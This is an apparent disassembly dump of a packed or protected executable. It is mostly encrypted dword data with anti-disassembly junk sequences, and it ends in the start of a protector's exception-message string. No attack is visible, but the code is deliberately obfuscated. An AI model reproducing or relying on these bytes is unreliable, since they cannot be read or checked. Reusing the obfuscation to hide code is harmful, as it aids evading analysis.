0E7B86806h, 0B5FFCEE4h, 6221AC9h, 3AF1858Dh, 0D0FF0622h dd 14FD8589h, 858D0622h, 6250F62h, 1F858D50h, 50062512h dd 168h, 0FD95FF80h, 0B062214h, 0C70A75C0h, 22268185h dd 106h, 0DBD46800h, 0B5FFC005h, 6221AC9h, 3AF1858Dh, 0D0FF0622h dd 6698589h, 858D0622h, 62501AFh, 0A9B5FF50h, 0FF062233h dd 22030D95h, 74C00B06h, 8DD88B0Bh, 25116285h, 0D3FF5006h dd 1162858Dh, 83660625h, 0A750938h, 40185C7h, 10622h, 95FF0000h dd 62209F1h, 0FF25h, 5F88300h, 85C70A73h, 6221B85h, 1 dd 1EE9B589h, 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 297F24C3h, 221DD58Dh, 9E906h, 0F5790000h dd 3A97029Fh, 80504CF9h, 250D71BDh, 840F0006h, 2Fh, 9E8h dd 3F784500h, 3057F702h, 0BD8B4025h, 62219B9h, 1BBD8359h dd 62512h, 18840Fh, 0BA530000h, 9D6A06Ah, 6185895Fh, 0E906221Dh dd 1870h, 18998D89h, 0BD830622h, 6220401h, 97850F00h, 31000000h dd 222D958Dh, 3B858D06h, 8906250Dh, 2210A595h, 8E95006h dd 3E000000h, 764B0193h, 6A051E6Eh, 0ACC6BF01h, 6A0692h dd 958B006Ah, 6222021h, 1F1595FFh, 85890622h, 6250D65h dd 7C23F281h, 0FF6A6DA4h, 0FDCA8160h, 89692693h, 221BD59Dh dd 0B5FF6106h, 6250D65h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0D8C35646h, 4A34B445h, 0E69BD8Bh, 95FF0622h dd 6221C35h, 0DE9h, 8350E000h, 0A1A9E6E8h, 0B257F987h dd 858DAD7Ah, 6250176h, 22E1B966h, 0FFDFB150h, 22186195h dd 0D9816606h, 8589AAADh, 6250200h, 8D50F680h, 25018385h dd 6650F506h, 0B5FFD18Bh, 6250200h, 28E0Fh, 0D18B0000h dd 3870Fh, 0C5800000h, 0D95FF70h, 8B062203h, 22146195h dd 25858906h, 81062220h, 86FB9AD9h, 0F1858D5Bh, 66062501h dd 8556D981h, 13E8h, 0BA2DF100h, 5B8BAC15h, 0C95E453Ah dd 0ABF4E17Dh, 605F12DCh, 20559589h, 50590622h, 6D98D89h dd 0B5FF0622h, 6250200h, 6E8h, 74AEC700h, 0E971642Fh, 8 dd 0AA8D8AF0h, 0E4CD65CCh, 95FFFC59h, 622030Dh, 12E9h dd 35F3DF00h, 1D2181A7h, 0CAAD6F64h, 1A3066DFh, 8929DCF8h dd 25021485h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0C2FB99A6h, 3810Fh, 8B660000h, 0D0858DF8h dd 1062501h, 22286D9Dh, 0B5FF5006h, 6250200h, 0E853006Ah dd 3 dd 5BC35B20h, 4245C89h, 4244481h, 16h, 70C35343h, 95FFDA2Bh dd 622030Dh, 0ECD8D8Bh, 85890622h, 625020Ch, 48B0Fh, 0BF660000h dd 858D6E32h, 62501C3h, 6A50D68Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0E18C355h dd 0F16E765h, 8589C162h, 6222691h, 200B5FFh, 0FB8B0625h dd 30D95FFh, 0C5B50622h, 2108589h, 6A0625h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0A4D634C3h dd 858D8081h, 62501DEh, 1A7D9589h, 60500622h, 1631B529h dd 61F80622h, 200B5FFh, 0BF0F0625h, 0D95FFFAh, 0E8062203h dd 9, 62F3367Eh, 0C526D33Dh, 0E9852924h, 5F062227h, 5198589h dd 8DF90622h, 25019285h, 0C8BF0F06h, 53B96650h, 0B5FF16h dd 89062502h, 221B9185h, 0D95FF06h, 89062203h, 25020485h dd 21F18106h, 8D31C84Ah, 2501A185h, 7DBD8B06h, 5006221Fh dd 6E6FF5BFh, 0B5FF6Dh, 89062502h, 22270585h, 0D95FF06h dd 80062203h, 8589D7C9h, 6250208h, 4BF28166h, 10468F0h dd 0F2810000h, 9708862h, 21E18D29h, 858D0622h, 6250298h dd 12E9h, 8B127000h, 0A2B0DCD1h, 6505C374h, 0BD4EBBACh dd 50B934B9h, 858D12B1h, 625039Ch, 11E9h, 9750D400h, 0F0EB4178h dd 4C36522h, 0A6C17A5Eh, 81506259h, 1007F9F7h, 1195FF0Eh dd 6A062201h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0E29CC353h, 0B529F5CFh, 6220F8Dh dd 850FC085h, 6, 1A518D89h, 0BD800622h, 6250D71h, 33850F00h dd 0E9000000h, 14DCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 8DC35343h, 0A8484A5Ah, 68A0F60h, 0F000000h dd 8Eh, 0BD836100h, 6220401h, 4C850F00h, 0E8000000h, 0Bh dd 0C4405A63h, 82A327CEh, 80574D41h, 895A90D2h, 220A01B5h dd 1BBD8306h, 62512h, 43840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 190CC9C3h dd 2C055847h, 8D3E7308h, 25023585h, 49E9FC06h, 0E9000014h dd 7, 0FB06A53Ch, 0E9AB5911h, 0Ch, 20858DFCh, 66062502h dd 564AE781h, 0D98D8950h, 8D062206h, 25029885h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0D5D5233Eh, 2A31BD89h, 6A500622h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 65D3C350h dd 0B94454AAh, 264739Ah, 401BD83h, 0F000622h, 4984h, 4AC18100h dd 8B16ABE3h, 2230FD95h, 0BE858D06h, 8B062503h, 220F49BDh dd 3BE906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 7833F1C3h, 6CB9C5EDh, 32E9BD29h dd 0BF660622h, 858DF7ADh, 62503A7h, 81FAB70Fh, 0F15D14E2h dd 8DF55027h, 2503F685h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 45C2EE14h, 860FE396h dd 11h, 9E8h, 0E52AC500h, 0BF83750Ch, 48B69DB5h, 6A505Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0CF79CEC3h, 95896052h, 622210Dh, 1411B589h, 5A610622h dd 70195FFh, 870F0622h, 6, 4758D8Bh, 0C4830622h, 49952910h dd 8B062207h, 9E8C0h, 0EC970000h, 71AD74F4h, 0FC6688F0h dd 0DDBD835Fh, 62208h, 0BD830975h, 6220A21h, 50197400h dd 0B8C08B53h, 7D3h, 1B398589h, 9D8D0622h, 624BFC9h, 585BD3FFh dd 0A21BD83h, 74000622h, 0B8535017h, 7D3h, 1B398589h, 9D8D0622h dd 624BCB8h, 585BD3FFh, 0E499D89h, 8D0B0622h, 622033Dh dd 8531C08Bh, 622208Dh, 245BD31h, 0BD810622h, 6250220h dd 6165726Fh, 0BD840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 5A27BFC3h, 0E579947Ch dd 98858D99h, 50062502h, 3D5858Dh, 8D500625h, 2503F685h dd 95FF5006h, 6220701h, 0C60CC483h, 22330985h, 4F684406h dd 0FF96A318h, 2233A9B5h, 0F1858D06h, 0FF06223Ah, 8DD88BD0h dd 2503F685h, 0D3FF5006h, 220858Dh, 8D500625h, 25029885h dd 0BD835006h, 6220401h, 8D087400h, 2503BE85h, 8D06EB06h dd 2503A785h, 858D5006h, 62503F6h, 195FF50h, 83062207h dd 9E810C4h, 0A5000000h, 10336CEh, 40BF685Bh, 6840Fh, 95030000h dd 6222205h, 0E58D015Ah, 0FF06222Ah, 2209F195h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 892A9319h, 2220C5BDh, 0FF2506h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B04E04C3h dd 0FF2C82E4h, 6800F9Ch, 31000000h, 222D398Dh, 5F88306h dd 2C830Fh, 81660000h, 0C79D52C2h, 221B8585h, 106h, 0B1B58900h dd 8D062207h, 25025485h, 0FFC78106h, 0E96234D3h, 5Ah, 1EA5BD8Bh dd 0BD830622h, 6220401h, 20840F00h, 66000000h, 8AF3FAB9h dd 7F858DF5h, 66062502h, 33E9D68Bh, 81000000h, 13EA2DE7h dd 4C98151h, 8D1B32D7h, 25026185h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 6658EFB2h dd 8589CF8Bh, 6250294h, 0A99BD29h, 0BD830622h, 6220401h dd 54850F00h, 0E8000000h, 13h, 0F847F917h, 0C174B843h dd 0FA300698h, 38CA8C92h, 66E8DDA3h, 835AD68Bh, 25121BBDh dd 840F0006h, 59h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 8CC35040h, 0A6EE70E9h, 965FD8F8h, 0E59D8905h dd 0E9062200h, 1048h, 0AE8h, 0C4D61400h, 836DE194h, 8B814EF7h dd 22306D8Dh, 0EE95906h, 0A8000000h, 4BD37024h, 0AB4ACF68h dd 149FF7DAh, 3C6E900h, 0BD290000h, 6221651h, 0BD01C08Bh dd 6221649h, 8DDBD83h, 75000622h, 21BD8309h, 6220Ah, 53501974h dd 0D4B8C08Bh, 89000007h, 221B3985h, 0C99D8D06h, 0FF0624BFh dd 83585BD3h, 220A21BDh, 17740006h, 0D4B85350h, 89000007h dd 221B3985h, 0B89D8D06h, 0FF0624BCh, 89585BD3h, 221DA59Dh dd 13E906h, 0BD700000h, 6E0BB07Bh, 32FE5A59h, 0BB443D2Dh dd 628C4AE6h, 66C08B90h, 687C88BAh, 0F003Fh, 0AB19C781h dd 6A492Ah, 243D8D8Bh, 6A0622h, 95FFF78Ah, 6222025h, 0DE8h dd 5C8A6900h, 0CD60B411h, 76C9F9B1h, 870F474Ch, 6, 0C7C4CA81h dd 855A5ABEh, 6850FC0h, 1000000h, 221D458Dh, 18858906h dd 8B062502h, 222C9995h, 0E9006A06h, 5, 8A96DA68h, 8B006A73h dd 223019BDh, 8B006A06h, 66006ACAh, 8F0FCE8Bh, 1, 53006AF9h dd 1B69BD8Bh, 8D5A0622h, 2503F685h, 0B5B53106h, 1062224h dd 220F8D85h, 0F8BA5006h, 6A634AB8h, 0F98D8B01h, 6A062233h dd 69950901h, 56062208h, 1055950Bh, 6A590622h, 0D58D8B01h dd 0B1062203h, 1FF6818h, 6A000Fh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0C7C2D0C3h, 0E1816729h dd 3B98ADE6h dd 401BD83h, 0F000622h, 2184h, 858B6000h, 6220A19h, 8D61F88Bh dd 25027585h, 0F9BD8906h, 0E906221Bh, 12h, 1C99503h, 858D0622h dd 625024Bh, 13C18D8Bh, 66500622h, 0E950FE8Bh, 12h, 0FB2B2F81h dd 0F1E60084h, 449A3725h, 0E346642Eh, 0B5FF6EA8h, 6250218h dd 8E851h, 37400000h, 0A58143CFh, 0BF0FD949h, 0FF5F5ACEh dd 25020495h, 85B5B606h, 19850FC0h, 0E9000000h, 0Ch, 61A6991Bh dd 81FA897Dh, 2725613Eh, 59E9h, 0D18B6600h, 21C8589h, 8D290625h dd 622217Dh, 21CB5FFh, 6A0625h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 9C8E53C3h, 4B7EE35Ch dd 2C1D8D23h, 958B0622h, 62224B1h, 51995FFh, 8D290622h dd 62214BDh, 850FC085h, 2, 106A5BB1h, 0BA665753h, 5A5FDF45h dd 401BD83h, 0F000622h, 1784h, 958D8B00h, 8D06221Eh, 25027585h dd 0FE9F906h, 66000000h, 8381C181h, 24B858Dh, 0BA660625h dd 29506D41h, 221BD18Dh, 18B5FF06h, 8B062502h, 220F1D95h dd 1095FF06h, 8B062502h, 0FC085F8h, 2485h, 1E880F00h, 0E8000000h dd 12h, 0FFAD020Dh, 0D81B6857h, 5D1F0DA8h, 0DCCB883Bh dd 958B41B2h, 6221165h, 1C85895Ah, 81062502h, 70796CD9h dd 66006A17h, 0C754EF81h, 0B5FF006Ah, 625021Ch, 5958531h dd 95FF0622h, 6250208h, 0B8C0Fh, 89600000h, 22253D95h dd 7E38006h, 0FC08561h, 2285h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 8ADAA4B1h dd 0FF7E60EFh, 25021CB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 6660CC27h dd 8BD74FBFh, 22104585h, 85016106h, 6220A55h, 51995FFh dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 260829C3h, 671AD93Ch, 9589A814h, 6221865h dd 850FC085h, 24h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 26C35141h, 6925EB94h, 0CB8A078Dh, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 646F65C3h, 89F572B1h, 2205DD9Dh, 806806h, 89600000h dd 22316195h, 1086BF06h, 60613A6Fh, 7E9h, 66ACFA00h, 1F22F2B7h dd 12E9h, 4BAFCA00h, 0D14FD334h, 4DE6C418h, 0C1EB8036h dd 61544725h, 0F52036Ah, 81h, 6A5F00h, 1ADD958Bh, 6A0622h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0FCC35747h dd 6C524B0Dh, 68h, 0B59589C0h, 0FF06222Ah, 250294B5h, 0FEB70F06h dd 3E195FFh, 95890622h, 6222671h, 0FFFF883h, 4E885h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0FB8506D7h, 890F096Eh, 4, 637FBA66h, 0D0285FFh, 9D890625h dd 62207E1h, 0D02BD83h, 0F020625h, 31D84h, 0B1958900h dd 8D062204h, 5B243B85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 906DDC5Ch, 0B463A8FEh dd 0D0FF7CB6h, 27ED8D8Bh, 858D0622h, 5B1E8Eh, 7E9h, 0A0A62600h dd 9A9C0CB6h, 0F38AD0FFh, 0BD03C08Bh, 62229C1h, 8DDBD83h dd 75000622h, 21BD8309h, 6220Ah, 53501974h, 0D8B8C08Bh dd 89000007h, 221B3985h, 0C99D8D06h, 0FF0624BFh, 83585BD3h dd 220A21BDh, 17740006h, 0D8B85350h, 89000007h, 221B3985h dd 0B89D8D06h, 0FF0624BCh, 29585BD3h, 2214DDBDh, 81665006h dd 5FC2F3F2h, 68FCC08Bh, 0F003Fh, 0FE86053h, 84000000h dd 5927D4A1h, 83A3B6F1h, 0E6DAD80Dh, 6158940Bh, 1D95035Fh dd 6A06222Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 89006A16h, 221E658Dh, 2595FF06h dd 89062220h, 2210E185h, 89C08506h, 25021885h, 65BD8B06h dd 68062235h, 0F01FFh, 339D9533h, 7E90622h, 1C000000h dd 0EBC065E1h, 0BD83BD81h, 6220401h, 1E840F00h, 0F000000h dd 858DD7B7h, 6250275h, 5736B966h, 18E9h, 68B0F00h, 0B000000h dd 2230D18Dh, 4B858D06h, 1062502h, 22300DBDh, 0FFFC5006h dd 250218B5h, 0FE906h, 0CBA0000h, 1AEE9CA0h, 32B532D6h dd 4BFA1BD2h, 1095FF91h, 8B062502h, 220115BDh, 1C858906h dd 9062502h, 2205CD8Dh, 585C706h, 6221Eh, 66000000h, 33ED981h dd 21CBD83h, 0F000625h, 15E84h, 4D958B00h, 8D062224h, 2504FA85h dd 0B5F18106h, 5011369Ah, 16ACB8Bh, 30E99523h, 0B5FF0622h dd 625021Ch, 21495FFh, 0EE80625h, 83000000h, 0C0B7EA3h dd 2F6391A3h, 634CD21Dh, 8D0B5338h, 6221255h, 0CB8B5959h dd 21CB5FFh, 8B660625h, 1995FFF9h, 0F062205h, 0FF68D0B7h dd 66000F01h, 75B8D981h, 9DD8D8Bh, 0BD830622h, 6220401h dd 39840F00h, 89000000h, 2226019Dh, 75858D06h, 66062502h dd 2EE9CB8Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0A57C353h, 8D8B542Bh dd 6223141h, 24B858Dh, 0E9800625h, 6A503Dh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8501DAC3h dd 6221CD1h, 0E65CCF81h, 0B5FF4A41h, 6250218h, 0D840Fh dd 29600000h, 2205B995h, 0EE816606h, 0FF61276Eh, 25021095h dd 49958B06h, 0F062216h, 68Ah, 0B9BD8900h, 89062200h, 25021C85h dd 658D2906h, 0FF06220Fh, 25021CB5h, 29958B06h, 0FF06221Fh dd 25020C95h, 0A5BD8B06h, 0FF062214h, 25021CB5h, 0FE95706h dd 24000000h, 5CB8DB5Ah, 3A63863Fh, 56FB4DBDh, 0FF5A5B22h dd 22051995h, 0E98D3306h, 0E9062215h, 0FFFFF828h, 20F1BD8Bh dd 0B5FF0622h, 6250D65h, 15C98589h, 95FF0622h, 6222065h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 3EC35141h dd 2568312Dh, 8B9C0588h, 221B518Dh, 75858B06h, 106220Ah dd 2207A99Dh, 0DE906h, 74440000h, 8B1270FDh, 0A2B0DCD1h dd 0E905C374h, 61Ch, 0DBD6B966h, 51AB58Dh, 958B0625h, 6221F0Dh dd 0B23F858Dh, 0CC8A0624h, 0BD89D0FFh, 62224ADh, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 4D0A2C3h, 4BB6660h, 25B53352h, 61062222h, 1A995FFh dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 963FECC3h, 0F609625h, 8B0FDBBFh, 6, 0AA5958Bh dd 60610622h, 13E9h, 509EF500h, 4DA1EFF1h, 349003B7h, 0C49262C6h dd 43BC0F90h, 60F38B61h, 14E9h, 16EBCF00h, 0AB17D02Bh dd 3384FCD1h, 48D3DF9Dh, 0C0E5B6DBh, 8D61F86Bh, 24B23F85h dd 7E906h, 3BCD0000h, 2F1C3098h, 8BD0FFDCh, 221CA595h dd 13E806h, 7B2C0000h, 73F8D721h, 18FFC8AEh, 595365B2h dd 59694915h, 6A5A53h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0A2C35242h, 0EB21C78Ah, 0EF819D10h, 3DAD2E48h dd 1A995FFh, 958B0622h, 6221615h dd 234678BFh, 81C08B2Ah, 995C8BE7h, 0DDBD830Dh, 62208h dd 0BD830975h, 6220A21h, 50197400h, 0B8C08B53h, 7D9h, 1B398589h dd 9D8D0622h, 624BFC9h, 585BD3FFh, 0A21BD83h, 74000622h dd 0B8535017h, 7D9h, 1B398589h, 9D8D0622h, 624BCB8h, 585BD3FFh dd 9E9h, 23E42F00h, 0B957863Bh, 6A5F6Eh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0A54B4EC3h dd 9352F03Bh, 0DA816635h, 0C08B9BB8h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 27C35747h, 68D9D29h, 66500622h dd 0D88BCB8Bh, 8D53F98Bh, 2218CD9Dh, 89038B06h, 50438B03h dd 8D504389h, 250CFE9Dh, 89038B06h, 6A5B03h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 99D4DC3h dd 2C9ED988h, 8AE2D7FBh, 0C88B66D7h, 9318D31h, 6A0622h dd 3738CA81h, 8B0F29D2h, 1, 0FE858DF9h, 6A06250Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 4CDFC355h, 0E9B87E7Eh, 0B650FC74h, 0F606AC8h, 383h dd 0FEB70F00h, 18CD858Dh, 0C9BA0622h, 503F12E3h, 0F5BD8B60h dd 0E9062214h, 0Dh, 0D33A316Fh, 6357E075h, 0F05C5B15h dd 6A614Dh, 31998D89h, 95230622h, 6222AC9h, 68F5006Ah dd 1800h, 2FA58D8Bh, 60530622h, 0DE9h, 0BB844400h, 4D01BD26h dd 15F54F97h, 0EE9B01Dh, 0E7000000h, 9260734Ah, 52DE4ECAh dd 16AB2681h, 95FF61EBh, 6221321h, 14E8h, 547AA300h, 8F3E6714h dd 6FE39B2Bh, 9C90DB72h, 4330A5BEh, 45BD8B30h, 5F06220Fh dd 2FC595FFh, 0BD330622h, 6222021h, 0D65B5FFh, 800F0625h dd 3, 0FFCA8B66h, 22206595h, 8BBA6606h, 0CD858D07h, 0BF062218h dd 43E1D226h, 6A18408Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 21FDC353h, 816603C1h dd 0C7C12FCFh, 2215CD85h, 6, 0CF816600h, 0BD83CF45h, 6220401h dd 3E840F00h, 0E8000000h, 0Bh, 0F170D259h, 23D0170Fh, 0FE65B87h dd 681h, 8B0F00h, 59000000h, 28298D8Bh, 8C3D0622h, 0F000000h dd 17383h, 61958B00h, 0E906221Dh, 38h, 0B63BFCB9h, 983D01h dd 830F0000h, 158h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 31C35343h, 0D9AF48D7h, 958B31DBh, 622210Dh dd 243B858Dh, 0B966005Bh, 0D0FF7C17h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0EBC35747h, 0CD28166h, 8E858D3Bh dd 6A005B1Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0D8CCC356h, 0D0FFD843h, 81D9D89h dd 0C08B0622h, 1880Fh, 83F50000h, 2208DDBDh, 9750006h dd 0A21BD83h, 74000622h, 8B535019h, 0BC6B8C0h, 85890000h dd 6221B39h, 0BFC99D8Dh, 0D3FF0624h, 0BD83585Bh, 6220A21h dd 50177400h, 0BC6B853h, 85890000h, 6221B39h, 0BCB89D8Dh dd 0D3FF0624h, 0EE80585Bh, 8E8ECh, 18DD0000h, 0ED122A00h dd 0E95A5827h, 11h, 994790ACh, 9A5412Ah, 81069BE0h, 94316192h dd 83C08BDCh, 850FFFF8h, 2Ch, 0A4DB589h, 85C70622h, 6221AA1h dd 0 dd 27F5958Bh, 958B0622h, 622308Dh, 0CDE9h, 1BD8B00h, 0E906220Bh dd 19h, 0F01F883h, 1085h, 5870F00h, 66000000h, 67F2EF81h dd 113E9h, 0F2B6E900h, 9D89FFFFh, 62200EDh, 8D01C08Bh dd 6220329h, 68D0Fh, 8D890000h, 622019Dh, 8DDBD83h, 75000622h dd 21BD8309h, 6220Ah, 53501974h, 0DDB8C08Bh, 89000007h dd 221B3985h, 0C99D8D06h, 0FF0624BFh, 83585BD3h, 220A21BDh dd 17740006h, 0DDB85350h, 89000007h, 221B3985h, 0B89D8D06h dd 0FF0624BCh, 0B6585BD3h, 9CC9818Bh, 6A79CA86h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0F762C355h, 4DC37C37h, 64DE0831h, 0BD8BC08Bh, 6221A91h dd 22BE9h, 0D2816600h, 858DDA2Fh, 6250B02h, 0D18D3357h dd 59062234h, 0CFA8589h, 6A0625h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 747621C3h, 8D8BB877h dd 6220469h, 48E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 4F8A3AFEh, 0FCF2FD2Eh dd 2830Fh, 0E88A0000h, 90A858Dh, 0EF810625h, 733B339Eh dd 4890F40h, 66000000h, 89AC3EBFh, 250CFA85h, 8D346A06h dd 22273D85h, 0B5FF5006h, 6250CFAh, 95FF006Ah, 62206B9h dd 0F07F883h, 16884h, 0DB8C6600h, 0F04C3F6h, 10285h, 985C600h dd 56062233h, 0A8B85268h, 0A9B5FF9Ch, 8D062233h, 223AF185h dd 6AD0FF06h, 10006804h, 646A0000h, 0D0FF006Ah, 0D6D8589h dd 85C60625h, 6223309h, 0AC9B6847h, 0B5FFEC18h, 62233A9h dd 3AF1858Dh, 0D0FF0622h, 0F08BD0FFh, 330985C6h, 684F0622h dd 0C62F2661h, 1AC9B5FFh, 858D0622h, 6223AF1h, 9D8DD0FFh dd 6250D69h, 56286A53h, 0C085D0FFh, 85C60075h, 6223309h dd 64986841h, 0B5FFDB87h, 6221AC9h, 3AF1858Dh, 0D0FF0622h dd 0D868589h, 85C60625h, 6223309h, 0E7A4684Ch, 0B5FF80A4h dd 6221AC9h, 3AF1858Dh, 0D0FF0622h, 0D6D9D8Bh, 5B8D0625h dd 9D8D5304h, 6250D72h, 0FF006A53h, 6D9D8BD0h, 0C706250Dh dd 103h, 0C43C700h, 2, 5E59D8Bh, 85C70622h, 6222FA9h, 0 aJjj: unicode 0, <jjj> dw 9D8Bh dd 6250D6Dh, 0FF006A53h, 250D69B5h, 8695FF06h, 0C606250Dh dd 22330985h, 97684506h, 0FF92A5F7h, 220FC9B5h, 0F1858D06h dd 0FF06223Ah, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h dd 250D6D9Dh, 0C43C706h, 0 dd 6A006Ah, 0D6D9D8Bh, 6A530625h, 69B5FF00h, 0FF06250Dh dd 250D8695h, 69B5FF06h, 0FF06250Dh, 222FC595h, 0FF006A06h dd 2201A995h, 0ED8D2906h, 6606221Bh, 0BD2BD08Bh, 6222FB9h dd 3DF9858Dh, 6A0625h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 3FAA3C3h, 0FDF87125h, 8B4533ACh dd 12E9CAh, 0A8800000h, 0DEF8FC05h, 0E7183AD4h, 0AF7510D3h dd 0C93A870Ch, 0E9BA6650h, 35FF6461h, 0 dd 2615BD89h, 89640622h, 25h, 818D8B00h, 8306220Ah, 221875BDh dd 840F0006h, 78h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0DC35646h, 6A15B085h, 5E9h, 0E8935700h dd 0BD83FA16h, 62200F5h, 41850F01h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 9E4FC353h, 0BD80F8CAh, 6251186h, 15850F00h, 0F000000h dd 880h, 9D895700h, 62215A9h, 1A1E95Fh, 0F98B0000h, 0EE9DB33h dd 71000000h, 0C32E7DE4h, 8A5BBB87h, 0A202C086h, 0E9C0331Eh dd 12h, 3E187B25h, 0F566CA3Ah, 144EE076h, 0B2C684A1h, 0F40E873h dd 640B073Fh, 58Fh, 0C4830000h, 7D8D8B04h, 83062215h, 840FFFFBh dd 44h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah dd 4C35242h, 3AABEAC5h, 0BA60AAB5h, 31E821C3h, 9E9h, 5EF2DB00h dd 6D0CFD98h, 0E961A3C0h, 10Dh, 0A304B966h, 5FD08B57h dd 7FE9h, 97BF6600h, 244C8B2Dh, 0A481C70Ch, 0FF000000h dd 83FFFFFFh, 0B881h, 0C0330400h, 245C8BC3h, 0E8550Ch dd 5D000000h, 3E1BED81h, 838B0625h, 0B8h, 3EFF858Dh, 83890625h dd 0B8h, 0C3C0335Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 2BC35747h, 559D89BFh, 0E9062211h, 12h dd 4CA6FA1Ch, 9DDF8717h, 5EBF86D3h, 0D7790643h, 0EB8A6DC0h dd 3E11858Dh, 830F0625h, 6, 2A59D89h, 0D7810622h, 2F4ED952h dd 35FF6450h, 0 dd 3820Fh, 8B660000h, 0BE9FBh, 2CC60000h, 325CBDC3h, 0DD0B1593h dd 258964C0h, 0 dd 14E9h, 0D8A59600h, 36DECA02h, 0AC908B13h, 2AF54234h dd 0C51D4835h, 0AB9E9h, 4B80000h, 54855D7h, 0DF78164h dd 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h, 68FB81EDh dd 75564D58h, 985C70Ah, 1062222h, 64000000h, 58Fh, 0C4830000h dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0F36D514Ch, 0E9CD4543h, 14h, 0A387FB7Ch dd 0F103E622h, 0C593E2B8h, 6F4461CFh, 3036BD8Dh, 3079B529h dd 0C08B0622h, 0BD83F98Bh, 62208DDh, 83097500h, 220A21BDh dd 19740006h, 0C08B5350h, 43DB8h, 59858900h, 8D06220Eh dd 24C0309Dh, 5BD3FF06h, 21BD8358h, 6220Ah, 53501774h dd 43DB8h, 59858900h, 8D06220Eh, 24BCD19Dh, 5BD3FF06h dd 0CA8B6658h, 7E2A79B9h, 0E9C08B0Ch, 147h, 4, 31392E31h dd 30h, 6 dup(0) dword_52E810 dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h dd 6E6F69h, 61656C50h, 202C6573h, 746E6F63h, 20746361h dd 20656874h, 74666F73h, 65726177h, 76656420h, 706F6C65h dd 20737265h, 68746977h, 65687420h, 6C6F6620h, 69776F6Ch dd 6320676Eh, 7365646Fh, 6854202Eh, 206B6E61h, 2E756F79h dd 0D0A0D0Ah, 2 dup(20202020h), 65727028h, 43207373h, 2B4C5254h dd 6E6F2043h, 69687420h, 69772073h, 776F646Eh, 206F7420h dd 79706F63h, 206F7420h, 70696C63h, 72616F62h, 